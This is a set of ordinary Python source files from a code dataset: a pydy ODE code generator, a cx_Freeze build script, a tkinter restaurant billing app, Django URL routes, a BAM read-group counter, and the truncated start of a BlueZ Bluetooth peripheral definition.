TheanoODEFunctionGenerator(ODEFunctionGenerator):\n\n def __init__(self, *args, **kwargs):\n\n if theano is None:\n raise ImportError('Theano must be installed to use this class.')\n else:\n super(TheanoODEFunctionGenerator, self).__init__(*args, **kwargs)\n\n def define_inputs(self):\n\n if self.specifieds is None:\n self.inputs = self.coordinates + self.speeds + self.constants\n else:\n self.inputs = (self.coordinates + self.speeds + self.specifieds\n + self.constants)\n\n def _theanoize(self, outputs):\n\n self.define_inputs()\n\n f = theano_function(self.inputs, outputs, on_unused_input='ignore')\n\n # Theano will run faster if you trust the input. I'm not sure\n # what the implications of this are. See:\n # http://deeplearning.net/software/theano/tutorial/faq.html#faster-small-theano-function\n # Note that map(np.asarray, np.hstack(args)) is required if\n # trust_input is True. If it is False, then it will sanitize the\n # inputs. I'm not sure which one is faster.\n f.trust_input = True\n\n return f\n\n def generate_full_rhs_function(self):\n\n outputs = [self.right_hand_side]\n\n f = self._theanoize(outputs)\n\n def eval_arrays(*args):\n vals = map(np.asarray, np.hstack(args))\n return np.squeeze(f(*vals))\n\n self.eval_arrays = eval_arrays\n\n def generate_full_mass_matrix_function(self):\n\n outputs = [self.mass_matrix, self.right_hand_side]\n\n f = self._theanoize(outputs)\n\n def eval_arrays(*args):\n vals = map(np.asarray, np.hstack(args))\n return tuple([np.squeeze(o) for o in f(*vals)])\n\n self.eval_arrays = eval_arrays\n\n def generate_min_mass_matrix_function(self):\n\n outputs = [self.mass_matrix, self.right_hand_side,\n self.coordinate_derivatives]\n\n f = self._theanoize(outputs)\n\n def eval_arrays(*args):\n vals = map(np.asarray, np.hstack(args))\n return tuple([np.squeeze(o) for o in f(*vals)])\n\n self.eval_arrays = eval_arrays\n\n\ndef generate_ode_function(*args, **kwargs):\n \"\"\"This is a function wrapper to the above classes. The docstring is\n automatically generated below.\"\"\"\n\n generators = {'lambdify': LambdifyODEFunctionGenerator,\n 'cython': CythonODEFunctionGenerator,\n 'theano': TheanoODEFunctionGenerator}\n\n generator = kwargs.pop('generator', 'lambdify')\n\n try:\n # See if user passed in a custom class.\n g = generator(*args, **kwargs)\n except TypeError:\n # See if user passed in a string.\n try:\n Generator = generators[generator]\n g = Generator(*args, **kwargs)\n except KeyError:\n msg = '{} is not a valid generator.'.format(generator)\n raise NotImplementedError(msg)\n else:\n return g.generate()\n else:\n return g.generate()\n\n\n_divider = '\\n Notes\\n ====='\n_docstr = ODEFunctionGenerator.__init__.__doc__\n_before_notes, _after_notes = _docstr.split(_divider)\n_extra_parameters_doc = \\\n\"\"\"\\\n generator : string or and ODEFunctionGenerator, optional\n The method used for generating the numeric right hand side. The\n string options are {'lambdify'|'theano'|'cython'} with\n 'lambdify' being the default. You can also pass in a custom\n subclass of ODEFunctionGenerator.\n\n Returns\n =======\n rhs : function\n A function which evaluates the derivaties of the states. See the\n function's docstring for more details after generation.\n\"\"\"\ngenerate_ode_function.__doc__ = ('' * 4 + _before_notes +\n _extra_parameters_doc + _divider +\n _after_notes)\n","sub_path":"pydy/codegen/ode_function_generators.py","file_name":"ode_function_generators.py","file_ext":"py","file_size_in_byte":34892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"282622838","text":"#\n# python setup.py build\n\nfrom cx_Freeze import setup, Executable\nimport sys\nimport os\nimport shutil\nimport zipfile\n\n\n__appname__ = \"userial-qt5\"\n__version__ = \"0.9.0\"\n__icon__ = os.path.join(os.curdir, 'rc', 'logo.ico')\n__author__ = \"Aleksandr Smirnov\"\n__copyright__ = \"Copyright 2016 by Navi-Dals\"\n\n\nBUILD_DIR = \"exe.{}-{}\".format(sys.platform, sys.version[:3])\npath_build = os.path.join(os.curdir, \"build\", BUILD_DIR)\n\n\n# Build executable file\nbuild_exe_options = {\"excludes\": [\"xml\", \"email\", \"html\", \"http\", \"unittest\", \"urllib\",\n \"pydoc_data\", \"\"]}\n\nexe = Executable(\n script=\"main.py\",\n base=\"Win32GUI\",\n targetName=__appname__ + \".exe\",\n icon=__icon__\n)\n\ntry:\n setup(\n name=__appname__ + \".exe\",\n version=__version__,\n author=__author__,\n description=__copyright__,\n options={\"build_exe\": build_exe_options},\n executables=[exe]\n )\nexcept Exception as e:\n print(e)\n\n# Remove nonusble resource\nprint(\"Remove nonusble resource\", end=10*'.')\ntry:\n path_rm = os.path.join(path_build, \"PyQt5\", \"Qt\")\n if os.path.exists(path_rm):\n shutil.rmtree(path_rm)\n print('Ok')\nexcept Exception as e:\n print('Error')\n print(e)\n\n# Create zip\nprint(\"Create zip file\", end=10*'.')\ntry:\n def zipdir(path, ziph):\n for root, dirs, files in os.walk(path):\n for file in files:\n ziph.write(os.path.join(root, file))\n\n zip_name = '.'.join(['{}-{}'.format(__appname__, __version__), 'zip'])\n\n zipf = zipfile.ZipFile(zip_name, 'w', zipfile.ZIP_DEFLATED)\n zipdir(path_build, zipf)\n zipf.close()\n\n zip_dist = os.path.join(os.curdir, \"zip\")\n if not os.path.exists(zip_dist):\n os.makedirs(zip_dist)\n\n shutil.move(os.path.join(os.curdir, zip_name), os.path.join(zip_dist))\n\n print('Ok')\nexcept Exception as e:\n print(\"Error\")\n\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"363905947","text":"from tkinter import*\r\nfrom tkinter import messagebox\r\nimport random\r\nimport time\r\nimport win1_bk\r\n\r\n\r\nroot=Tk()\r\nroot.geometry(\"1600x8000\")\r\nroot.title(\"My Restaurant\")\r\n\r\nTops = Frame(root,width=100, relief=SUNKEN)\r\nTops.pack(side=TOP)\r\n\r\ns1 = Frame(root,width=1800, height =700, relief=SUNKEN)\r\ns1.pack(padx=10,pady=10)\r\n\r\n#s2 = Frame(root,width=600, height =300,bg=\"powder blue\", relief=SUNKEN)\r\n#s2.pack(side=RIGHT)\r\n\r\nlab1= Label(Tops, font=('arial',50,'bold'),text=\" My Restaurant \", fg= \"Green\", bd=10,anchor='w')\r\nlab1.grid(row=0,column=0)\r\n\r\nct=time.asctime(time.localtime(time.time()))\r\nlab2= Label(Tops, font=('arial',20,'bold'),text=ct, fg= \"Green\", bd=10,anchor='w')\r\nlab2.grid(row=1,column=0)\r\n\r\nlab3= Label(s1, font=('arial',20,'bold'),text=\"Login-ID\", fg= \"Blue\", bd=10,anchor='w')\r\nlab3.grid(row=0,column=0)\r\n\r\ntext1=StringVar()\r\ntxtShow=Entry(s1,font=('arial',20,'bold'),textvariable=text1,bd=3,insertwidth=4,bg=\"powder blue\", justify='left')\r\ntxtShow.grid(row=0,column=1)\r\n\r\nlab4= Label(s1, font=('arial',20,'bold'),text=\"Password\", fg= \"Blue\", bd=10,anchor='w')\r\nlab4.grid(row=1,column=0)\r\n\r\ntext2=StringVar()\r\ntxtShow1=Entry(s1,font=('arial',20,'bold'),textvariable=text2,bd=3,insertwidth=4,bg=\"powder blue\", justify='left', show='*')\r\ntxtShow1.grid(row=1,column=1)\r\nrand = StringVar()\r\n\r\nIdly=StringVar()\r\nDosa=StringVar()\r\nKesari=StringVar()\r\nSubTotal=StringVar()\r\nTotal=StringVar()\r\nService_Charge=StringVar()\r\nDrinks=StringVar()\r\nTax=StringVar()\r\nCost=StringVar()\r\nPulav=StringVar()\r\n\r\ndef adduser():\r\n for widget in s1.winfo_children():\r\n widget.destroy()\r\n lab5= Label(s1, font=('arial',20,'bold'),text='Add New User', fg= \"Blue\", bd=10,anchor='w')\r\n lab5.grid(row=0,column=0)\r\n lab3= Label(s1, font=('arial',20,'bold'),text=\"User-ID\", fg= \"Blue\", bd=10,anchor='w')\r\n lab3.grid(row=1,column=0)\r\n text1=StringVar()\r\n txtShow=Entry(s1,font=('arial',20,'bold'),textvariable=text1,bd=3,insertwidth=4,bg=\"powder blue\", justify='left')\r\n txtShow.grid(row=0,column=1)\r\n\r\n lab4= Label(s1, font=('arial',20,'bold'),text=\"Password\", fg= \"Blue\", bd=10,anchor='w')\r\n lab4.grid(row=1,column=0)\r\n\r\n text2=StringVar()\r\n txtShow1=Entry(s1,font=('arial',20,'bold'),textvariable=text2,bd=3,insertwidth=4,bg=\"powder blue\", justify='left', show='*')\r\n txtShow1.grid(row=1,column=1)\r\n \r\n b2=Button(s1,padx=20,pady=10,bd=2,font=('arial',20),text=\"Submit\", bg=\"powder blue\", command=lambda:win1_bk.add(text1.get(),text2.get())).grid(row=3,column=1)\r\n \r\n b1=Button(s1,padx=20,pady=10,bd=2,font=('arial',20),text=\"Home\", bg=\"powder blue\", command=lambda:show_admin()).grid(row=4,column=1)\r\n\r\ndef deluser():\r\n for widget in s1.winfo_children():\r\n widget.destroy()\r\n lab5= Label(s1, font=('arial',20,'bold'),text='Delete User', fg= \"Blue\", bd=10,anchor='w')\r\n lab5.grid(row=0,column=0)\r\n lab3= Label(s1, font=('arial',20,'bold'),text=\"User-ID\", fg= \"Blue\", bd=10,anchor='w')\r\n lab3.grid(row=1,column=0)\r\n text1=StringVar()\r\n txtShow=Entry(s1,font=('arial',20,'bold'),textvariable=text1,bd=3,insertwidth=4,bg=\"powder blue\", justify='left')\r\n txtShow.grid(row=1,column=1)\r\n \r\n b2=Button(s1,padx=20,pady=10,bd=2,font=('arial',20),text=\"Delete\", bg=\"powder blue\", command=lambda:win1_bk.delete(text1.get())).grid(row=3,column=1)\r\n b1=Button(s1,padx=20,pady=10,bd=2,font=('arial',20),text=\"Home\", bg=\"powder blue\", command=lambda:show_admin()).grid(row=4,column=1)\r\n\r\n\r\ndef showuser():\r\n for widget in s1.winfo_children():\r\n widget.destroy()\r\n lab3= Label(s1, font=('arial',20,'bold'),text=\" List of Users\", fg= \"Blue\", bd=10,anchor='w')\r\n lab3.grid(row=0,column=1)\r\n lb=Listbox(s1,height=20,width=94)\r\n lb.grid(row=2,column=0,columnspan=6)\r\n #lb.delete(0,END)\r\n for row in win1_bk.viewall():\r\n lb.insert(END,row)\r\n \r\n b1=Button(s1,padx=20,pady=10,bd=2,font=('arial',20),text=\"Home\", bg=\"powder blue\", command=lambda:show_admin()).grid(row=8,column=1)\r\n\r\ndef show_admin():\r\n for widget in s1.winfo_children():\r\n widget.destroy()\r\n \r\n b1=Button(s1,padx=20,pady=10,bd=2,font=('arial',20),text=\"create user\", bg=\"powder blue\", command=lambda:adduser()).grid(row=0,column=1)\r\n b2=Button(s1,padx=20,pady=10,bd=2,font=('arial',20),text=\"delete user\", bg=\"powder blue\", command=lambda:deluser()).grid(row=1,column=1)\r\n b3=Button(s1,padx=20,pady=10,bd=2,font=('arial',20),text=\"show users\", bg=\"powder blue\", command=lambda:showuser()).grid(row=2,column=1)\r\n b4=Button(s1,padx=20,pady=10,bd=2,font=('arial',20),text=\"Main Project\", bg=\"powder blue\", command=lambda:call_sys()).grid(row=3,column=1)\r\n\r\n#====================================Restaraunt Info 1===========================================================\r\ndef Invent():\r\n for widget in s1.winfo_children():\r\n widget.destroy()\r\n \r\n Idly=StringVar()\r\n Dosa=StringVar()\r\n Kesari=StringVar()\r\n Pulav=StringVar()\r\n Drinks=StringVar()\r\n home()\r\n\r\ndef qExit():\r\n root.destroy()\r\n\r\n\r\n \r\ndef showinvent():\r\n for widget in s1.winfo_children():\r\n widget.destroy()\r\n lab3= Label(s1, font=('arial',20,'bold'),text=\" List of Stocks\", fg= \"Blue\", bd=10,anchor='w')\r\n lab3.grid(row=0,column=1)\r\n lb=Listbox(s1,height=20,width=94)\r\n lb.grid(row=2,column=0,columnspan=6)\r\n #lb.delete(0,END)\r\n import win1_bk\r\n rows=win1_bk.viewstock()\r\n lb.insert(END,'IDLY : ',rows[0][1])\r\n lb.insert(END,'DOSA : ',rows[0][2])\r\n lb.insert(END,'KESARI : ',rows[0][3])\r\n lb.insert(END,'DRINKS : ',rows[0][4])\r\n lb.insert(END,'PULAV : ',rows[0][5])\r\n b1=Button(s1,padx=20,pady=10,bd=2,font=('arial',20),text=\"Home\", bg=\"powder blue\", command=lambda:home()).grid(row=8,column=1)\r\n\r\ndef upd():\r\n messagebox.showinfo(Idly.get(),Dosa.get())\r\n #win1_bk.update(1,Idly.get(),Dosa.get(),Kesari.get(),Drinks.get(),Pulav.get())\r\n\r\ndef invent():\r\n for widget in s1.winfo_children():\r\n widget.destroy()\r\n lblhd= Label(s1, font=('arial', 16, 'bold'),text=\"Update the current Quantity\",bd=16,anchor=\"w\")\r\n lblIdly= Label(s1, font=('arial', 16, 'bold'),text=\"Idly\",bd=16,anchor=\"w\")\r\n lblIdly.grid(row=1, column=0)\r\n Idly=StringVar()\r\n #e4 = Entry(window,textvariable=category,width=50)\r\n txtIdly=Entry(s1, font=('arial',16,'bold'),textvariable=Idly)#,bd=1,insertwidth=4,bg=\"powder blue\",justify='left')\r\n txtIdly.grid(row=1,column=1)\r\n\r\n\r\n lblDosa= Label(s1, font=('arial', 16, 'bold'),text=\"Dosa\",bd=16,anchor=\"w\")\r\n lblDosa.grid(row=2, column=0)\r\n Dosa=StringVar()\r\n txtDosa=Entry(s1, font=('arial',16,'bold'),textvariable=Dosa)#,bd=1,insertwidth=4,bg=\"powder blue\",justify='left')\r\n txtDosa.grid(row=2,column=1)\r\n\r\n\r\n lblKesari= Label(s1, font=('arial', 16, 'bold'),text=\"Kesari bath\",bd=16,anchor=\"w\")\r\n lblKesari.grid(row=3, column=0)\r\n Kesari=StringVar()\r\n txtKesari=Entry(s1, font=('arial',16,'bold'),textvariable=Kesari)#,bd=1,insertwidth=4,bg=\"powder blue\",justify='left')\r\n txtKesari.grid(row=3,column=1)\r\n\r\n lblPulav= Label(s1, font=('arial', 16, 'bold'),text=\"Pulav\",bd=16,anchor=\"w\")\r\n lblPulav.grid(row=4, column=0)\r\n Pulav=StringVar()\r\n txtPulav=Entry(s1, font=('arial',16,'bold'),textvariable=Pulav)#,bd=1,insertwidth=4,bg=\"powder blue\",justify='left')\r\n txtPulav.grid(row=4,column=1)\r\n\r\n lblDrinks= Label(s1, font=('arial', 16, 'bold'),text=\"Drinks\",bd=16,anchor=\"w\")\r\n lblDrinks.grid(row=5, column=0)\r\n Drinks=StringVar()\r\n txtDrinks=Entry(s1, font=('arial',16,'bold'),textvariable=Drinks)#,bd=1,insertwidth=4,bg=\"powder blue\",justify='left')\r\n txtDrinks.grid(row=5,column=1)\r\n \r\n b1=Button(s1,padx=20,pady=10,bd=2,font=('arial',20),text=\"Update\", bg=\"powder blue\", command=lambda:win1_bk.update(1,Idly.get(),Dosa.get(),Kesari.get(),Drinks.get(),Pulav.get())).grid(row=8,column=1)\r\n b2=Button(s1,padx=20,pady=10,bd=2,font=('arial',20),text=\"Home\", bg=\"powder blue\", command=lambda:home()).grid(row=10,column=1)\r\n\r\ndef home():\r\n for widget in s1.winfo_children():\r\n widget.destroy()\r\n b1=Button(s1,padx=20,pady=10,bd=2,font=('arial',20),text=\" Update Inventory\", bg=\"powder blue\", command=lambda:invent()).grid(row=0,column=1)\r\n b2=Button(s1,padx=20,pady=10,bd=2,font=('arial',20),text=\"Show Inventory\", bg=\"powder blue\", command=lambda:showinvent()).grid(row=1,column=1)\r\n b3=Button(s1,padx=20,pady=10,bd=2,font=('arial',20),text=\"Home \", bg=\"powder blue\", command=lambda:call_sys()).grid(row=2,column=1)\r\n\r\ndef Ref():\r\n x=random.randint(10908,500876)\r\n randomRef=str(x)\r\n\r\n rand.set(randomRef)\r\n\r\n if (Idly.get()==\"\"):\r\n CoIdly=0\r\n else:\r\n CoIdly=float(Idly.get())\r\n\r\n \r\n if (Dosa.get()==\"\"):\r\n CoDosa=0\r\n else:\r\n CoDosa=float(Dosa.get())\r\n\r\n if (Kesari.get()==\"\"):\r\n CoKesari=0\r\n else:\r\n CoKesari=float(Kesari.get())\r\n\r\n if (Pulav.get()==\"\"):\r\n CoPulav=0\r\n else:\r\n CoPulav=float(Pulav.get())\r\n \r\n \r\n if (Drinks.get()==\"\"):\r\n CoD=0\r\n else:\r\n CoD=float(Drinks.get())\r\n \r\n CostofIdly =CoIdly * 25\r\n CostofDrinks=CoD * 20\r\n CostofDosa = CoDosa* 35\r\n CostofKesari = CoKesari * 25\r\n CostPulav = CoPulav* 35\r\n \r\n CostofMeal= \"Rs\", str('%.2f' % (CostofIdly+CostofDrinks+CostofDosa+CostofKesari+CostPulav))\r\n\r\n PayTax=((CostofIdly+CostofDrinks+CostofDosa+CostofKesari+CostPulav) * 0.2)\r\n\r\n TotalCost=(CostofIdly+CostofDrinks+CostofDosa+CostofKesari+CostPulav)\r\n \r\n Ser_Charge= ((CostofIdly+CostofDrinks+CostofDosa+CostofKesari+CostPulav)/99)\r\n\r\n Service = \"Rs\", str ('%.2f' % Ser_Charge)\r\n\r\n OverAllCost =\"Rs\", str ('%.2f' % (PayTax+TotalCost+Ser_Charge))\r\n\r\n PaidTax= \"Rs\", str ('%.2f' % PayTax)\r\n\r\n Service_Charge.set(Service)\r\n Cost.set(CostofMeal)\r\n Tax.set(PaidTax)\r\n SubTotal.set(CostofMeal)\r\n Total.set(OverAllCost)\r\n win1_bk.updateB(1,Idly.get(),Dosa.get(),Kesari.get(),Drinks.get(),Pulav.get())\r\n \r\ndef Reset():\r\n rand.set(\"\") \r\n Idly.set(\"\")\r\n Dosa.set(\"\")\r\n Kesari.set(\"\")\r\n SubTotal.set(\"\")\r\n Total.set(\"\")\r\n Service_Charge.set(\"\")\r\n Drinks.set(\"\")\r\n Tax.set(\"\")\r\n Cost.set(\"\")\r\n Pulav.set(\"\")\r\n \r\n\r\n\r\ndef Bill():\r\n for widget in s1.winfo_children():\r\n widget.destroy()\r\n \r\n \r\n lblReference= Label(s1, font=('arial', 16, 'bold'),text=\"Reference\",bd=16,anchor=\"w\")\r\n lblReference.grid(row=0, column=0)\r\n \r\n txtReference=Entry(s1, font=('arial',16,'bold'),textvariable=rand,bd=10,insertwidth=4,bg=\"powder blue\",justify='right')\r\n txtReference.grid(row=0,column=1)\r\n\r\n lblIdly= Label(s1, font=('arial', 16, 'bold'),text=\"Idly\",bd=16,anchor=\"w\")\r\n lblIdly.grid(row=1, column=0)\r\n txtIdly=Entry(s1, font=('arial',16,'bold'),textvariable=Idly,bd=10,insertwidth=4,bg=\"powder blue\",justify='right')\r\n txtIdly.grid(row=1,column=1)\r\n\r\n\r\n lblDosa= Label(s1, font=('arial', 16, 'bold'),text=\"Dosa\",bd=16,anchor=\"w\")\r\n lblDosa.grid(row=2, column=0)\r\n txtDosa=Entry(s1, font=('arial',16,'bold'),textvariable=Dosa,bd=10,insertwidth=4,bg=\"powder blue\",justify='right')\r\n txtDosa.grid(row=2,column=1)\r\n\r\n\r\n lblKesari= Label(s1, font=('arial', 16, 'bold'),text=\"Kesari bath\",bd=16,anchor=\"w\")\r\n lblKesari.grid(row=3, column=0)\r\n txtKesari=Entry(s1, font=('arial',16,'bold'),textvariable=Kesari,bd=10,insertwidth=4,bg=\"powder blue\",justify='right')\r\n txtKesari.grid(row=3,column=1)\r\n\r\n lblPulav= Label(s1, font=('arial', 16, 'bold'),text=\"Pulav\",bd=16,anchor=\"w\")\r\n lblPulav.grid(row=4, column=0)\r\n txtPulav=Entry(s1, font=('arial',16,'bold'),textvariable=Pulav,bd=10,insertwidth=4,bg=\"powder blue\",justify='right')\r\n txtPulav.grid(row=4,column=1)\r\n\r\n \r\n lblDrinks= Label(s1, font=('arial', 16, 'bold'),text=\"Drinks\",bd=16,anchor=\"w\")\r\n lblDrinks.grid(row=0, column=2)\r\n txtDrinks=Entry(s1, font=('arial',16,'bold'),textvariable=Drinks,bd=10,insertwidth=4,bg=\"powder blue\",justify='right')\r\n txtDrinks.grid(row=0,column=3)\r\n\r\n lblCost= Label(s1, font=('arial', 16, 'bold'),text=\"Cost of Meal\",bd=16,anchor=\"w\")\r\n lblCost.grid(row=1, column=2)\r\n txtCost=Entry(s1, font=('arial',16,'bold'),textvariable=Cost,bd=10,insertwidth=4,bg=\"powder blue\",justify='right')\r\n txtCost.grid(row=1,column=3)\r\n\r\n\r\n lblService= Label(s1, font=('arial', 16, 'bold'),text=\"Service Charge\",bd=16,anchor=\"w\")\r\n lblService.grid(row=2, column=2)\r\n txtService=Entry(s1, font=('arial',16,'bold'),textvariable=Service_Charge,bd=10,insertwidth=4,bg=\"powder blue\",justify='right')\r\n txtService.grid(row=2,column=3)\r\n\r\n\r\n lblStateTax= Label(s1, font=('arial', 16, 'bold'),text=\"State Tax\",bd=16,anchor=\"w\")\r\n lblStateTax.grid(row=3, column=2)\r\n txtStateTax=Entry(s1, font=('arial',16,'bold'),textvariable=Tax,bd=10,insertwidth=4,bg=\"powder blue\",justify='right')\r\n txtStateTax.grid(row=3,column=3)\r\n\r\n lblSubTotal= Label(s1, font=('arial', 16, 'bold'),text=\"Sub Total\",bd=16,anchor=\"w\")\r\n lblSubTotal.grid(row=4, column=2)\r\n txtSubTotal=Entry(s1, font=('arial',16,'bold'),textvariable=SubTotal,bd=10,insertwidth=4,bg=\"powder blue\",justify='right')\r\n txtSubTotal.grid(row=4,column=3)\r\n\r\n lblTotalCost= Label(s1, font=('arial', 16, 'bold'),text=\"Total Cost\",bd=16,anchor=\"w\")\r\n lblTotalCost.grid(row=5, column=2)\r\n txtTotalCost=Entry(s1, font=('arial',16,'bold'),textvariable=Total,bd=10,insertwidth=4,bg=\"powder blue\",justify='right')\r\n txtTotalCost.grid(row=5,column=3)\r\n Reset()\r\n\r\n #==========================================Buttons==========================================================================================\r\n btnTotal=Button(s1,padx=16,pady=8,bd=16,fg=\"black\",font=('arial',16,'bold'),width=10,text=\"Total\",bg=\"powder blue\",command=lambda:Ref()).grid(row=7,column=1)\r\n\r\n btnReset=Button(s1,padx=16,pady=8,bd=16,fg=\"black\",font=('arial',16,'bold'),width=10,text=\"Reset\",bg=\"powder blue\",command=lambda:Reset()).grid(row=7,column=2)\r\n\r\n btnExit=Button(s1,padx=16,pady=8,bd=16,fg=\"black\",font=('arial',16,'bold'),width=10,text=\"Home\",bg=\"powder blue\",command=lambda:call_sys()).grid(row=7,column=3)\r\n\r\n \r\ndef call_sys():\r\n for widget in s1.winfo_children():\r\n widget.destroy()\r\n #lab3= Label(s1, font=('arial',20,'bold'),text=\"Restaurant Billing\" , fg= \"Blue\", bd=10,anchor='w')\r\n #lab3.grid(row=0,column=1)\r\n b1=Button(s1,padx=20,pady=10,bd=2,font=('arial',20),text=\"Inventory\", bg=\"powder blue\", command=lambda:Invent()).grid(row=0,column=1)\r\n b2=Button(s1,padx=20,pady=10,bd=2,font=('arial',20),text=\"Generate Bill\", bg=\"powder blue\", command=lambda:Bill()).grid(row=1,column=1)\r\n b3=Button(s1,padx=20,pady=10,bd=2,font=('arial',20),text=\"Exit Project\", bg=\"powder blue\", command=lambda:root.destroy()).grid(row=2,column=1)\r\n\r\n\r\ndef btnClick():\r\n \r\n if text1.get()=='admin' and text2.get()=='admin':\r\n show_admin()\r\n else:\r\n rows = win1_bk.search(text1.get(),text2.get())\r\n if not rows:\r\n messagebox.showinfo(' wrong','try again')\r\n else:\r\n if text1.get()== rows[0][1] and text2.get()== rows[0][2]:\r\n #root.destroy() \r\n call_sys()\r\n \r\n \r\nbtn1=Button(s1,padx=1,pady=10,bd=1,font=('arial',20),text=\"submit\", bg=\"powder blue\", command=lambda:btnClick()).grid(row=3,column=1)\r\n\r\nroot.mainloop()\r\n","sub_path":"win2.py","file_name":"win2.py","file_ext":"py","file_size_in_byte":16276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"333927517","text":"from django.urls import path, include\nfrom . import views\n\n\napp_name = 'monthly_goal'\nurlpatterns = [\n path('', include('account.urls')),\n path(\n 'goal/new/',\n views.MonthlyGoalCreateView.as_view(template_name='monthly_goal/goal_create.html'),\n name='goal-create'\n ),\n path(\n 'goal//', views.MonthlyGoalDetailView.as_view(\n template_name='monthly_goal/goal_detail.html'), name='goal-detail'\n ),\n path(\n 'goal//update', views.MonthlyGoalUpdateView.as_view(\n template_name='monthly_goal/goal_update.html'),\n name='goal-update'\n ),\n path(\n 'goal//delete', views.MonthlyGoalDeleteView.as_view(\n template_name='monthly_goal/goal_delete.html'),\n name='goal-delete'\n ),\n]\n","sub_path":"self_management/monthly_goal/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"233522365","text":"#! /usr/bin/env python2\n\ndef main():\n\n #\n # Imports & globals\n #\n global args, summaryInstance, sys, time, pysam, infile\n import pysam, sys, time\n\n #\n # Argument parsing\n #\n argumentsInstance = readArgs()\n\n #\n # Initials\n #\n barcode_dict = dict()\n read_counter = 0\n read_counter_currently = 0\n reads_without_RG = 0\n\n infile = pysam.AlignmentFile(args.bam_file, 'rb')\n report_progress('Infile opened, starting analysis')\n for read in infile.fetch(until_eof=True):\n\n # Skips read if no barcode tag is present\n try: barcode_ID = read.get_tag(args.tag)\n except KeyError:\n reads_without_RG += 1\n continue\n\n try: barcode_dict[barcode_ID] += 1\n except KeyError:\n barcode_dict[barcode_ID] = 1\n\n read_counter += 1\n read_counter_currently += 1\n if read_counter_currently == 1000000:\n read_counter_currently = 0\n report_progress(\"{:,}\".format(read_counter) + ' reads processed')\n\n barcode_clusters = 0\n good_barcode_clusters = 0\n phased_clusters = 0\n at_least_read_pair = 0\n for barcode, number_of in barcode_dict.items():\n\n barcode_clusters += 1\n if number_of >= 8: good_barcode_clusters += 1\n if number_of >= 2: at_least_read_pair += 1\n if number_of >= 4: phased_clusters += 1\n\n print('\\nANALYSIS FINISHED')\n print('\\nNUMBER OF READ GROUPS FOUND: ' + str(barcode_clusters))\n print('WITH 2 OR MORE READS: ' + str(at_least_read_pair))\n print('WITH 4 OR MORE READS: ' + str(phased_clusters))\n print('WITH 8 OR MORE READS: ' + str(good_barcode_clusters))\n print('\\nREADS PAIRS WITHOUT RG TAG: ' + str((reads_without_RG/2)))\n\n infile.close()\n\ndef report_progress(string):\n \"\"\"\n Writes a time stamp followed by a message (=string) to standard out.\n Input: String\n Output: [date] string\n \"\"\"\n sys.stderr.write(time.strftime(\"%a, %d %b %Y %H:%M:%S\", time.localtime()) + '\\t' + string + '\\n')\n\nclass readArgs(object):\n \"\"\"\n Reads arguments and handles basic error handling like python version control etc.\n \"\"\"\n\n def __init__(self):\n\n readArgs.parse(self)\n readArgs.pythonVersion(self)\n\n def parse(self):\n\n #\n # Imports & globals\n #\n import argparse, multiprocessing\n global args\n\n parser = argparse.ArgumentParser(description=__doc__)\n\n # Arguments\n parser.add_argument(\"bam_file\", help=\".bam file tagged with @RG tags).\")\n\n # Options\n parser.add_argument(\"-F\", \"--force_run\", action=\"store_true\", help=\"Run analysis even if not running python 3. \"\n \"Not recommended due to different function \"\n \"names in python 2 and 3.\")\n parser.add_argument(\"-t\", \"--tag\", type=str, default='RG', help=\"Tag in which barcode is stored. DEFAULT: RG\")\n\n args = parser.parse_args()\n\n def pythonVersion(self):\n \"\"\" Makes sure the user is running python 3.\"\"\"\n\n #\n # Version control\n #\n import sys\n if sys.version_info.major == 3:\n pass\n else:\n sys.stderr.write('\\nWARNING: you are running python ' + str(\n sys.version_info.major) + ', this script is written for python 3.')\n if not args.force_run:\n sys.stderr.write('\\nAborting analysis. Use -F (--Force) to run anyway.\\n')\n sys.exit()\n else:\n sys.stderr.write('\\nForcing run. This might yield inaccurate results.\\n')\n\nif __name__==\"__main__\": main()","sub_path":"archive/count_RG_in_bam.py","file_name":"count_RG_in_bam.py","file_ext":"py","file_size_in_byte":3733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"493870206","text":"#!/usr/bin/python3\n\nimport dbus.mainloop.glib\nfrom bluez_components import *\nfrom datetime import datetime\n\nnow = datetime.now()\n\ntry:\n from gi.repository import GObject\nexcept ImportError:\n import gobject as GObject\n\nUUID_DEVICE_CONTROL_SERVICE = \"21c50462-67cb-63a3-5c4c-82b5b9939aeb\"\nUUID_LED_VIBRATE_CTRL_CHAR = \"21c50462-67cb-63a3-5c4c-82b5b9939aec\"\nUUID_BUTTON_NOTIF_CHAR = \"21c50462-67cb-63a3-5c4c-82b5b9939aed\"\nUUID_UNKNOWN_CHAR = \"21c50462-67cb-63a3-5c4c-82b5b9939aee\"\nUUID_FW_UPDATE_REQUEST_CHAR = \"21c50462-67cb-63a3-5c4c-82b5b9939aef\"\nUUID_FW_VERSION_CHAR = \"21c50462-67cb-63a3-5c4c-82b5b9939af0\"\nUUID_CERTIFICATE_SERVICE = \"bbe87709-5b89-4433-ab7f-8b8eef0d8e37\"\nUUID_CENTRAL_TO_SFIDA_CHAR = \"bbe87709-5b89-4433-ab7f-8b8eef0d8e38\"\nUUID_SFIDA_COMMANDS_CHAR = \"bbe87709-5b89-4433-ab7f-8b8eef0d8e39\"\nUUID_SFIDA_TO_CENTRAL_CHAR = \"bbe87709-5b89-4433-ab7f-8b8eef0d8e3a\"\nUUID_BATTERY_SERVICE = \"180f\"\nUUID_BATTERY_LEVEL_CHAR = \"2A19\"\nUUID_CLIENT_CHARACTERISTIC_CONFIG = \"2902\"\n\nmainloop = None\n\n\nclass fw_update_request_chrc(Characteristic):\n def __init__(self, bus, index, service):\n self.UUID = UUID_FW_UPDATE_REQUEST_CHAR\n Characteristic.__init__(\n self, bus, index,\n self.UUID,\n ['write'],\n service)\n self.value = 0\n\n def WriteValue(self, value, options):\n self.value = value\n log(self.UUID)\n\n\nclass fw_version_chrc(Characteristic):\n def __init__(self, bus, index, service):\n self.UUID = UUID_FW_VERSION_CHAR\n\n Characteristic.__init__(\n self, bus, index,\n self.UUID,\n ['read'],\n service)\n self.value = 0\n\n 